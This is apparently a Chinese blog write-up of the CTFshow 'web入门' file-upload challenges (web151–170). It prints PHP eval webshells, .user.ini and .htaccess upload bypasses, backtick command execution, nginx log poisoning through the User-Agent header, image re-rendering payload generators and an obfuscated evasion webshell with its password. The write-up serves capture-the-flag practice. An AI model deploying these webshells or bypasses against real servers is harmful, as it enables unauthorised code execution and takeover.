CTFshow--web入门--文件上传

开始

web162、163 session文件包含+条件竞争
脚本跑不起来
web165 JPG图片二次渲染
web170 .user.ini
未复现 上传接口一直出错

web151 改后缀 / 禁js

上传一个一句话,要求是图片格式,否则传不上去

<?php @eval($_POST['a']) ?>

然后抓包修改后缀为php
在这里插入图片描述
放包,用蚁剑连接成功
在这里插入图片描述
当然禁用js直接上传php文件也是可以的

如果你不知道怎么禁用js,看这里

web152 改后缀

方法同上

web153 .user.ini

php.ini是php的一个全局配置文件,对整个web服务起作用;而.user.ini.htaccess一样是目录的配置文件,.user.ini就是用户自定义的一个php.ini,通常用这个文件来构造后门和隐藏后门。

利用.user.ini,要求目标目录下必须包含php文件,这题的目标目录有一个index.php文件

我们先上传一个内容为auto_prepend_file=1.png的png文件,意思就是使1.png包含在目标目录的php文件中,然后再上传一句话木马(1.png),蚁剑访问url/upload/index.php连接成功

web154、155 .user.ini + 短标签

过滤了php,使用短标签配合.user.ini即可

<?= eval($_POST[a]);?>

web156 {}

过滤了[],换成{}即可

<?= eval($_POST{a});?>

web157、158、159 反引号执行命令

过滤了{}和分号

利用反引号执行命令

<?=`tac ../f*`?>
<?=`tac ../flag.?hp`?>

然后访问url/upload/index.php
在这里插入图片描述

web160 日志包含绕过

过滤了反引号

首先上传.uer.ini

然后上传内容为

<?=include"/var/lo"."g/nginx/access.lo"."g"?>

的png文件

在User-Agent头写一句话
在这里插入图片描述
蚁剑连接即可

web161 幻术文件头

检测幻术文件头,加上GIF89a即可,GIF89a是GIF的文件头,但是这里加上也可以

GIF89a
auto_prepend_file=1.png
GIF89a
<?=include"/var/lo"."g/nginx/access.lo"."g"?>

其他同上

web162、163 session文件包含+条件竞争

脚本看这两篇1 2

web164 PNG图片二次渲染

二次渲染会把上传到服务器的图片的代码改变,所以直接在图片中插入一句话是不行的

用脚本插入:

使用方法:php exp.php 1.jpg

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
           0x66, 0x44, 0x50, 0x33);



$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
   $r = $p[$y];
   $g = $p[$y+1];
   $b = $p[$y+2];
   $color = imagecolorallocate($img, $r, $g, $b);
   imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'./1.png');
?>

直接生成一个插入一句话的png文件
在这里插入图片描述
上传后查看图片,命令执行
在这里插入图片描述
crtl+s下载图片,里面包含flag
在这里插入图片描述

web165 JPG图片二次渲染

与png图片二次渲染的区别在于,需要一张上传上去再下载下来的图片,然后跑脚本

php exp.php 1.jpg

不过我没有验证成功,接口一直异常…

<?php
    $miniPayload = "<?=`tac f*`?>";	//这里改代码


    if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
        die('php-gd is not installed');
    }

    if(!isset($argv[1])) {
        die('php jpg_payload.php <jpg_name.jpg>');
    }

    set_error_handler("custom_error_handler");

    for($pad = 0; $pad < 1024; $pad++) {
        $nullbytePayloadSize = $pad;
        $dis = new DataInputStream($argv[1]);
        $outStream = file_get_contents($argv[1]);
        $extraBytes = 0;
        $correctImage = TRUE;

        if($dis->readShort() != 0xFFD8) {
            die('Incorrect SOI marker');
        }

        while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
            $marker = $dis->readByte();
            $size = $dis->readShort() - 2;
            $dis->skip($size);
            if($marker === 0xDA) {
                $startPos = $dis->seek();
                $outStreamTmp = 
                    substr($outStream, 0, $startPos) . 
                    $miniPayload . 
                    str_repeat("\0",$nullbytePayloadSize) . 
                    substr($outStream, $startPos);
                checkImage('_'.$argv[1], $outStreamTmp, TRUE);
                if($extraBytes !== 0) {
                    while((!$dis->eof())) {
                        if($dis->readByte() === 0xFF) {
                            if($dis->readByte !== 0x00) {
                                break;
                            }
                        }
                    }
                    $stopPos = $dis->seek() - 2;
                    $imageStreamSize = $stopPos - $startPos;
                    $outStream = 
                        substr($outStream, 0, $startPos) . 
                        $miniPayload . 
                        substr(
                            str_repeat("\0",$nullbytePayloadSize).
                                substr($outStream, $startPos, $imageStreamSize),
                            0,
                            $nullbytePayloadSize+$imageStreamSize-$extraBytes) . 
                                substr($outStream, $stopPos);
                } elseif($correctImage) {
                    $outStream = $outStreamTmp;
                } else {
                    break;
                }
                if(checkImage('payload_'.$argv[1], $outStream)) {
                    die('Success!');
                } else {
                    break;
                }
            }
        }
    }
    unlink('payload_'.$argv[1]);
    die('Something\'s wrong');

    function checkImage($filename, $data, $unlink = FALSE) {
        global $correctImage;
        file_put_contents($filename, $data);
        $correctImage = TRUE;
        imagecreatefromjpeg($filename);
        if($unlink)
            unlink($filename);
        return $correctImage;
    }

    function custom_error_handler($errno, $errstr, $errfile, $errline) {
        global $extraBytes, $correctImage;
        $correctImage = FALSE;
        if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
            if(isset($m[1])) {
                $extraBytes = (int)$m[1];
            }
        }
    }

    class DataInputStream {
        private $binData;
        private $order;
        private $size;

        public function __construct($filename, $order = false, $fromString = false) {
            $this->binData = '';
            $this->order = $order;
            if(!$fromString) {
                if(!file_exists($filename) || !is_file($filename))
                    die('File not exists ['.$filename.']');
                $this->binData = file_get_contents($filename);
            } else {
                $this->binData = $filename;
            }
            $this->size = strlen($this->binData);
        }

        public function seek() {
            return ($this->size - strlen($this->binData));
        }

        public function skip($skip) {
            $this->binData = substr($this->binData, $skip);
        }

        public function readByte() {
            if($this->eof()) {
                die('End Of File');
            }
            $byte = substr($this->binData, 0, 1);
            $this->binData = substr($this->binData, 1);
            return ord($byte);
        }

        public function readShort() {
            if(strlen($this->binData) < 2) {
                die('End Of File');
            }
            $short = substr($this->binData, 0, 2);
            $this->binData = substr($this->binData, 2);
            if($this->order) {
                $short = (ord($short[1]) << 8) + ord($short[0]);
            } else {
                $short = (ord($short[0]) << 8) + ord($short[1]);
            }
            return $short;
        }

        public function eof() {
            return !$this->binData||(strlen($this->binData) === 0);
        }
    }
?>

web166 zip文件上传

只能上传zip,那我们就上传一个一句话的zip文件,然后用蚁剑连接http://28bac684-221f-4841-8c98-b81c4f551965.challenge.ctf.show:8080/upload/download.php?file=de9373c30bd8d73705a6d44209947715.zip

需要注意的是Content-Typeapplication/x-zip-compressed
在这里插入图片描述

web167 .htaccess

上传 .htaccess文件写入AddType application/x-httpd-php .jpg

再上传写入一句话的jpg文件,下载文件,蚁剑连接

web168 基础免杀

用的别人的免杀脚本

<?php $bFIY=create_function(chr(25380/705).chr(92115/801).base64_decode('bw==').base64_decode('bQ==').base64_decode('ZQ=='),chr(0x16964/0x394).chr(0x6f16/0xf1).base64_decode('YQ==').base64_decode('bA==').chr(060340/01154).chr(01041-0775).base64_decode('cw==').str_rot13('b').chr(01504-01327).base64_decode('ZQ==').chr(057176/01116).chr(0xe3b4/0x3dc));$bFIY(base64_decode('NjgxO'.'Tc7QG'.'V2QWw'.'oJF9Q'.''.str_rot13('G').str_rot13('1').str_rot13('A').base64_decode('VQ==').str_rot13('J').''.''.chr(0x304-0x2d3).base64_decode('Ug==').chr(13197/249).str_rot13('F').base64_decode('MQ==').''.'B1bnR'.'VXSk7'.'MjA0N'.'TkxOw'.'=='.''));?>

URL地址:http://bd38dd84-5cf2-4485-8715-3c809808b78f.challenge.ctf.show:8080/upload/1.php
连接密码:TyKPuntU
在这里插入图片描述
还有别的免杀脚本

web169、170 .user.ini

前端检测zip
我们上传.user.ini,内容包含日志文件,后端检验图片类型,Content-Type要改为image/png
auto_prepend_file=/var/log/nginx/access.log
在这里插入图片描述
需要一个空php文件,同时在UA头写一句话,content-type记得改
在这里插入图片描述
蚁剑连接http://7f02d74d-8801-4ac1-b746-12174f17df76.challenge.ctf.show:8080/upload/1.php即可

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值